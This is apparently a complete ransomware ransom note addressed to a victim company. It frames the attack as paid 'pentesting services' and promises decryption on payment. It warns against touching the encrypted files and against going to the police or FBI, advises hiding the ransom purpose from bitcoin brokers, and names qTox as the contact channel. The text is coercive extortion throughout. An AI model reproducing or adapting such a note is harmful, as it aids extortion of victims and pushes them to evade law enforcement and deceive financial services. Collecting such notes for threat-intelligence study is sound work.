If you pay the ransom, we will fulfill all the terms we agreed upon during the negotiation process.

Our pentesting services should be paid for the same way you pay your system administrators' salaries. >>>>> Warning! Do not delete or modify encrypted files, it will lead to irreversible problems with decryption of files! >>>>> Don't go to the police or the FBI for help and don't tell anyone that we attacked you. They will forbid you from paying the ransom and will not help you in any way, you will be left with encrypted files and your business will die. >>>>> When buying bitcoin, do not tell anyone the true purpose of the purchase. Some brokers, especially in the US, do not allow you to buy bitcoin to pay ransom.

Not a single company that paid us has had issues. Any excuses are just for insurance company to not pay on their obligation. >>>>> You need to contact us using qTox messenger: https://tox.chat/download.html Using qTox messenger, state the name of your company because you are not the only one we target.
